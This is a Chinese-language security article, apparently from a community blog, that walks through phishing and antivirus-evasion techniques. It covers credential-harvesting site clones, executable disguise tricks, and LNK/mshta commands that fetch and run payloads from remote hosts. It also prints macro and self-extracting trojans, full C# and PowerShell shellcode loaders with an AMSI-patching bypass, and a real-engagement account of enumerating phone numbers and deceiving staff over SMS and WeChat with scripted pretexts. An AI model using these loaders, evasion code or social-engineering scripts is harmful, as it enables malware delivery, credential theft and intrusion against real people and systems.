百家讲坛 | 呼和:实战中的钓鱼及木马免杀技术研究

文摘   科技   2024-12-18 18:14   广东  

呼和,某互联网安全公司总经理,OWASP内蒙古自治区分会负责人;具有十余年网络安全从业经验,主导过多个安全团队建设、企业安全体系建设、应用安全体系建设、数据安全与隐私保护建设等众多领域的安全项目;在网络安全与商业密码测评方面具有丰富的管理与实践经验。


随着信息技术的快速发展和广泛应用,互联网已经成为人们日常生活中不可或缺的一部分。然而,随之而来的网络安全问题也日益凸显,其中钓鱼和木马等恶意攻击方式成为网络安全领域中的重要挑战之一。这些攻击手段采用了伪装和欺骗等技术手段,往往具有隐蔽性和欺骗性,使得许多传统的安全防御手段无法有效识别和阻止


本文的目的是通过对常见钓鱼及木马免杀技术的研究,探索其工作原理与特点,为侦察人员提供更全面、深入的理论基础,以应对日益复杂多变的网络安全威胁。同时,通过分析免杀技术,本研究旨在寻找有效的对策与防御措施,以保障网络用户的信息安全。
一、Web站点伪造技术

1. 利用Cobalt Strike进行站点克隆

通过“Cobalt Strike”中的“Site Manager”功能实现。在进行站点克隆时,需要获取目标网站的URL并输入到“Clone URL”中。在选择“Log Keystrokes on Cloned Site”时,工具会将JavaScript键盘记录器插入到克隆站点中,记录用户在克隆的网站上的键盘输入内容。

生成的url就是伪造的站点。

对伪造的站点伪造访问,如图所示,左侧为真实站点,右侧为克隆后的站点。


可以看到除了域名都一样,为了达到更真实的效果,可以通过配置服务器域名(如:注册与源站点相似的域名进行混淆)以起到更好的伪造效果,增加伪造的可信度和成功率。

在克隆后的站点输入相关内容后,可以通过在Web log中查看相应的请求记录,其中可能会包含所输入的账号和密码信息,如图所示:


2. 利用mip22进行站点克隆

mip22这款工具集钓鱼网页、邮件服务、隧道技术于一身,是一套完整的网页钓鱼工具,项目地址为:https://github.com/makdosx/mip22,需要注意的是在实战环境中我们需要将此系统部署到外网服务器。


笔者在Kali Linux下进行演示操作,下载后我们需要使用“sudo chmod +x mip22”对mip22赋予执行权限。mip22中内嵌了50多套内置的钓鱼站点模板,本文仅对其克隆站点的功能进行演示,输入“2”,打开屏幕提示的web链接,输入目标克隆目标,如图所示:

执行后系统会给出相关的站点链接,每当用户访问站点系统都会记录相关信息,如IP、访问日期、关联的地址信息、UA头和操作系统信息,在钓鱼页面所输入的信息也会被记录到data.txt中,在提交凭证后会跳转到源URL,如图所示:


二、可执行文件伪装技术

生成的木马图标和扩展名等特征非常明显,利用一些伪装技术可以起到混淆视听的效果,接下来笔者将重点讲解如何通过隐藏文件扩展名和更改文件图标来提高木马的潜伏性。


1. 经典的默认后缀名隐藏

默认情况下,Windows隐藏已知的文件扩展名,隐藏的情况下文件显示为如下图所示:

实际上文件的完整名称为“profil.pdf.exe”,其中第一个“.pdf”是文件名,第二个“.exe”是文件扩展名,如图所示:


2. 使用.scr拓展名

.scr是Windows屏幕保护程序文件的扩展名,可以通过更改文件扩展名的方式将恶意代码伪装成屏幕保护程序进行传播,其效果等同于exe,如图所示:


3. 利用Unicode控制字符反转

Unicode字符集中,有一些字符被定义为控制字符,它们通常不会被显示出来,而是用于控制文本的格式和布局等。


如图所示,在光标移动到文件名中的“.”之前,输入RLO字符(可以使用Alt+RL这个组合键来快速输入),然后输入fdp字符序列。

最后,保存文件时选择“.pdf”作为文件类型即可得到一个伪装成PDF文件的可执行文件,如图所示:

如果文件名过长,会截断显示,只能看到部分文件名,例如只能看到“xxx.pdf”,无法看到文件名的完整内容,如图所示:


4. 文件图标修改

Restorator是一款用于修改Windows可执行文件、DLL文件和其他资源文件的工具。它可以用于修改和定制程序的外观和行为,包括修改程序的图标、对话框、菜单、字符串和图形等。此外,Restorator还可以用于修改Windows系统文件和主题文件,以及自定义化其他应用程序。该工具提供了一个易于使用的图形用户界面,并支持多种语言。


为了实现自定义的shell木马图标,我们需要使用两个工具,一个用于shell木马,另一个则用于选择想要使用的图标。


如图所示,我们需要将shell木马和typora运行主程序一起拖进工具中,然后将typora的图标文件拖进shell文件。

保存后我们可以发现有两个文件,一个是原始文件的备份,另一个是替换图标后的文件,如图所示:


三、文件投递技术

1. LNK快捷方式攻击

近些年,LNK攻击方式因其简单而有效的特点而被广泛使用。Lnk文件实际上是一种快捷方式文件,指向其他文件,通常放置在硬盘上以方便用户快速调用。攻击者通常会将Lnk文件伪装成看似合法的文件类型,并利用社会工程学手段诱导受害者点击,从而实现恶意代码的传播和植入目标系统。


如图所示,可以通过Cobalt Strike工具生成一个PowerShell下载链接进行钓鱼攻击。生成的PowerShell命令如下:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.31.202:80/lnk'))"。此命令可以让目标主机通过HTTP协议下载恶意的Lnk文件。

如图所示,我们可以通过更改快捷方式的属性,将其目标位置修改为我们所需的PowerShell指令,从而实现对目标计算机的攻击。

如果要更改图标,可以到%SystemRoot%\System32下进行替换,如图所示:

更改完成后,我们只需要双击该快捷方式即可上线到Cobalt Strike,如图所示:


2. 利用系统白名单文件制作lnk木马

MSHTA是一款Windows系统自带的工具,用于解释和执行HTML应用程序。它可以作为一种替代的脚本解释器,能够执行基于HTML和JavaScript的应用程序。使用MSHTA,攻击者可以利用HTML和JavaScript来执行系统命令、下载和执行恶意代码等操作。


首先,在Cobalt Strike中生成HTA文件的方法是点击“Payloads”,然后将Payload类型设置为HTML Application)”,最后单击“Generate”按钮以生成HTA文件,在这里选择使用Powershell的方式,如图所示:

接着,在Cobalt Strike中的Host File中上传我们刚刚生成的文件,以便进行在线托管,如图所示:

上传完毕后会返回一个在线地址,即:http://192.168.8.128:80/download/chen.hta,如图所示:

接下来,在本地新建一个快捷方式,并将其目标位置更改为“C:\Windows\system32\mshta.exe http://192.168.8.128:80/download/chen.hta”,即可执行生成的HTA文件,如图所示:

当我们再次打开该快捷方式即可获得主机的权限,如图所示:


3. 压缩包自解压攻击

为了进行压缩包释放攻击,我们需要准备好两个文件,一个是我们的shell文件,另一个是掩饰性文件。


本次攻击演示中,我们使用demo.exe作为shell文件,将其和“财务报表.pdf”一起添加到一个压缩包中,并勾选创建自解压格式压缩文件,如图所示:

接下来,需要在高级自解压选项中指定解压后要运行的程序,如图所示:

再在模式中选择静默模式中的全部隐藏,如图所示:

完成以上步骤后,我们可以得到一个生成的run.exe,它就是我们准备的恶意木马程序。运行该程序后,会同时解压出财务报表.pdf和木马程序并进行运行,如图所示:

Cobalt Strike中我们可以看到成功上线,如图所示:


4. 文档攻击

Word宏木马是一种利用Microsoft Word文档中的宏代码来执行恶意操作的恶意软件。宏代码是一种用于自动执行任务的脚本语言,因此可以被用于执行许多不同的任务,包括恶意活动,如在用户不知情的情况下下载和安装恶意软件,窃取敏感信息等。


Word宏木马常常通过社会工程学攻击手段来欺骗用户点击文档中的链接或打开附件,从而实现攻击目的。我们可以在Cobalt Strike中生成MS宏代码,如图所示:

接下来新建一个Word文档,在Word文档中点击“开发工具”选项卡,如果该选项卡未出现,可以在“选项”中的“自定义功能区”中进行添加,如图所示:

在开发工具栏中选择“宏”,进入宏编辑器窗口,命名可以随意命名。在该窗口中粘贴之前在Cobalt Strike中生成的宏代码即可,如图所示:

在保存的时候我们选择否,将文档另存为“启用宏的Word文档”格式,文件后缀为docm,如图所示:

再次打开该文档则会出现启用宏的提示,如图所示:

我们选择启用宏,即可上线到Cobalt Strike,如图所示:


四、绕过终端防御技术

1.使用C#执行攻击载荷

在本节中,我们将使用C#调用Windows操作系统的API来执行攻击载荷,并通过分析源代码来学习程序的执行原理。


首先,我们需要定义需要使用的函数的传参以及类型:

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
                                  uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes,
                                  uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter,
                                  uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle,
                                         UInt32 dwMilliseconds);


其次,定义攻击载荷的值和长度:

byte[] buf = new byte[] { };
int size = buf.Length;


接下来,我们调用VirtualAlloc函数来申请属性为可读、可写、可执行的内存空间,并使用Copy函数将攻击载荷复制到使用VirtualAlloc函数申请的内存空间中:

IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);


然后,我们使用CreateThread函数在使用VirtualAlloc函数申请的内存空间的起始地址上执行攻击载荷:

IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);


最后,我们使用WaitForSingleObject函数等待攻击载荷的执行完成:

WaitForSingleObject(hThread, 0xFFFFFFFF);


使用Msfvenom生成基于Windows x64的MessageBox攻击载荷,如图所示:

将生成的攻击载荷复制到程序的源代码中替换buf变量,如图所示:

使用CSC编译源代码生成main.exe,使用指令为:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe main.cs,如图所示:

双击程序会执行我们使用Msfvenom生成的弹窗攻击载荷,如图所示:


2. 使用PowerShell绕过终端安全软件

在学习PowerShell绕过技术前,建议读者先了解AMSI安全防护机制,这节中我们将使用以下PowerShell编写攻击载荷加载脚本。

$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);

}

public class patch{
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00
                                    };

    private static bool is64Bit()
{
    bool is64Bit = true;

    if (IntPtr.Size == 4)
        is64Bit = false;
    return is64Bit;
}

    public static byte[] getpatch()
{
    if (is64Bit())
            return x64;
    else
            return x86;
}
}
"@
    Add-Type $Win32;
$p = 0;
$Patch = [patch]::getpatch();
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll");
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer");
[Win32]::VirtualProtect($Address, [uint32]$Patch.Length, 0x40, [ref]$p);
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, $Patch.Length);
[Win32]::VirtualProtect($Address, [uint32]$Patch.Length, $p, [ref][uint32]$_);
[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x0,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x0;
  $Address = [Win32]::VirtualAlloc([uint32]$_,[uint32]$buf.Length,[uint32]0x3000,[uint32]0x40);
  [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $Address, $buf.Length);
  $hTread = [Win32]::CreateThread([uint32]$_,[uint32]$_,$Address,[uint32]$_,[uint32]$_,[uint32]$_);
  [Win32]::WaitForSingleObject($hTread,[UInt32]::MaxValue);


如图所示,使用Python开启一个http服务器,使用指令“python -m http.server ”。

使用PowerShell远程下载并执行,指令为:PowerShell "IEX(New-Object Net.WebClient).downloadString('http://127.0.0.1:8000/main.ps1')",如图所示:

Windows Defender会被AMSI检测并拦截运行,如图所示:

代码被AMSI拦截,我们要寻找拦截的位置在何处,删除59行-63行的代码。

删除代码以后仍然没有绕过AMSI,如图所示:

重复删除代码的这个步骤,发现58行被AMSI拦截,所以我们需要修改第58行的代码(如图所示),经过修改的代码已成功绕过AMSI。

我们修改代码以后,将后续执行攻击载荷的代码和AMSI防护绕过的代码进行合并后无法绕过AMSI由于前面我们已经对AMSI防护绕过的代码进行处理,如图所示,所以我们可以第一步执行AMSI防护绕过代码,第二步通过远程下载执行的方式执行后续的代码。


这种处理思路的优点在于我们只需要保证第一步的代码的绕过静态引擎扫描,不需要考虑第二步的代码能否绕过静态引擎扫描。

将代码保存至payload.ps1文件中,如下:

[Byte[]] $buf = 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x3e,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x6f,0x48,0x1,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x3e,0x41,0x8b,0xc,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x3e,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x0,0x0,0x0,0x0,0x3e,0x48,0x8d,0x95,0xfe,0x0,0x0,0x0,0x3e,0x4c,0x8d,0x85,0xf,0x1,0x0,0x0,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x7,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x0,0x4d,0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x0;
$Address = [Win32]::VirtualAlloc([uint32]$_,[uint32]$buf.Length,[uint32]0x3000,[uint32]0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $Address, $buf.Length);
$hTread = [Win32]::CreateThread([uint32]$_,[uint32]$_,$Address,[uint32]$_,[uint32]$_,[uint32]$_);
[Win32]::WaitForSingleObject($hTread,[UInt32]::MaxValue);


修改代码,使用远程下载执行的方式执行后续载荷,使用“Invoke-Expression(New-Object Net.WebClient).downloadString('http://127.0.0.1:8000/payload.ps1');”,如图所示:

我们成功使用PowerShell绕过Windows Defender的防护,如图所示:

此时的代码如下:

$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

[DllImport("kernel32.dll")]
public static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);

}

public class patch{
    static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00
                                    };

    private static bool is64Bit()
{
    bool is64Bit = true;

    if (IntPtr.Size == 4)
        is64Bit = false;

    return is64Bit;
}

    public static byte[] getpatch()
{
    if (is64Bit())
            return x64;
    else
            return x86;
}
}
"@
    Add-Type $Win32;
$p = 0;
$Patch = [patch]::getpatch();
$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll");
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer");
[Win32]::VirtualProtect($Address, [uint32]$Patch.Length, 0x40, [ref]$p);
$sss = [System.Runtime.InteropServices.Marshal];
$sss::Copy($Patch, 0, $Address, $Patch.Length);
[Win32]::VirtualProtect($Address, [uint32]$Patch.Length, $p, [ref][uint32]$_);
Invoke-Expression(New-Object Net.WebClient).downloadString('http://127.0.0.1:8000/payload.ps1');


使用PowerShell Studio打包将修改后的代码4-6打包为可执行文件,如图所示:

Windows Defender并未拦截程序的执行,如图所示:


五、钓鱼技术在红蓝对抗中的实际案例

在某次实战攻防演练中,通过前期的找回密码功能,遍历到部分的用户手机号;再通过批量对手机号发送初步的钓鱼信息后手动进行微信好友手动添加;添加后使用社会工程学话术进行攻击;通过跳板机拿到内网设备权限。


1.Web逻辑漏洞导致的手机号泄露

经过前期的信息收集与功能测试,在网站的登录窗口,发现了找回密码的功能,输入手机号点击申请验证码后即可收到验证短信,如图所示:

通过测试发现:如果输入的手机号与系统数据库现有手机号不匹配,则会返回unicode字符串,转换为中文为:用户不存在。数据包如下:

POST /admin/send HTTP/2
Host: oa.xxxx.cn
Cookie: Hm_lvt_2437c659ea3855a4e762985598f542d9=1686552212; Hm_lpvt_2437c659ea3855a4e762985598f542d9=1686552212; _gscu_977640069=86552212fkveev50; _gscbrs_977640069=1; JS_SESSID=pcjfvqmltaa4vob22kogg8ier1; XSRF-TOKEN=eyJpdiI6InA5VmVTMEU0T19PSIsInZhbHVlIjoicHRVNzRRSE5KMVpBbVVwTXFMODRvTGNQWUZXTlhDMk01ZFFEQUxzZE5xUXBjR3NBNnhuRXVYSkNwV0NmT1dqREdKaFR4ZUplXC9wazdVSHo2NGRwMURSa21SUFRlVHlpcTFZVnlOV1dhdGlCaGxya2o1aDdnT0lFY3E5endhYUhjIiwibWFjIjoiNTkwNWFlMTk5OTcwYjIxNDM0YjcyOTJiY2FlMWM4MDdmY2JhYjc4ZjBkN2QxNTRhYTVmMWUxY2EzZjA4Y2NkYyJ9; nmtv_session=eyRUZIWEhUZWdmZz09IiwidmFsdWUiOiJFamVxKzBTSXhMSjdLXC9QMThWZUtHMFBEek5jTm05bzVzeHdMOUlYUU5uMU5xdkozQW5JMWxGSCs4V05jT09jVDczUWp1WVpMUDdTNklUaWRGdFJpS1lkNGJPd2RyaDFpWk1JcUEzQ3cyMVh2K0lzbENYUkI5cVE1T2RaU2pIaXUiLCJtYWMiOiI3OWY0MjUyNTY5YTYzMWQwOWNhNDA1NzMxNDBiOTAwZmMzM2JhZDIzN2Q0MjU4N2MyNzJjYjg0ZTE2OWNiZTkyIn0%3D
Content-Length: 65
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

phone=15xxx&_token=6cAzfPDINd08zFfjyo1mfNd0ks5nAjDOs4PbapD6


使用脚本生成该地区的所属手机号段,在burpsuite的intruder模块进行批量测试;测试完成后根据返回页面的内容长度(即Length)进行排序,如图所示:

最后得到测试结果,其中的unicode字符串经过转换验证为以下字符。


2.结合免杀木马进行组合拳钓鱼

在上个步骤中,经过大量测试,得到100多个已注册系统的手机号,初步构想钓鱼思路:制作免杀木马→在微信使用搜索手机号添加好友→以安全工程师的名义发送木马→通过受害者机器进行内网横向移动。


接下来开始准备可能会用到的话术:


个人定位:OA安全工程师


起因:最近OA进行升级,监测到一些系统薄弱点,比如可能您之前收到了修改密码的请求,现在需要和您电脑端进行匹配,确保后面的系统可以正常使用。


铺垫:您中午应该收到短信了吧,我是咱们这边的安全工程师。


特殊情况:如果是Windows的,您看下上面的文档进行解压运行;如果是XX系统(非Windows系统)的我们需要填个表格做个备份,明天由负责XX系统的同事联系您。


常用话术:您在电脑上按文档解压运行一下咱们的软件就可以开始制作免杀木马,主要通过sapien PowerShell studio将PowerShell代码封装成可执行文件绕过一些查杀和限制。在流量通讯方面使用了域前置和域借用等手法,加大蓝队溯源困难程度。


最终制作了一个伪装的OA扫描工具,表面的三个功能都是计算机和合法指令以混淆视听,实际在运行该软件后机器就会被控制,软件界面如图所示:

为了提高微信交互成功概率,因此先在前期进行铺垫,思路为“OA需要安装插件进行升级”。通过自建的短信平台,对前期收集到的用户信息进行批量发送钓鱼短信进行初步的信任建立,如图所示:

短信效果如图所示:

制作OA扫描工具的操作手册,对木马进行压缩包加密,一方面加深木马的可信程度,另一方面也可以规避一些杀软的静态扫描。最终目的是引导受害者点击木马,如图所示:

微信中和目标受害者的对话截图:

最后通过该工作人员电脑上线,成功获取到其主机权限,后续通过该主机权限拿下内网多台服务器权限。



专家群聊

扫码添加安仔微信,邀请进群

与行业专家深入交流探讨~


往期推荐

1. 百家讲坛 | 质量与卓越:在DevOps中平衡开发速度与产品质量

2. 百家讲坛 | 张良:《网络数据安全管理条例》对数安人才职业影响及企业合规建议

网安加社区
网安加社区,网络安全技术爱好者交流与分享技术的社区,致力于安全赋能软件开发。通过组织线下沙龙、峰会,促进行业交流,赋能行业交付可信、客户满意的软件产品。我们诚邀有分享精神的专家积极加入,共同传播安全技术与理念,推动数字化社区的可信发展。
 最新文章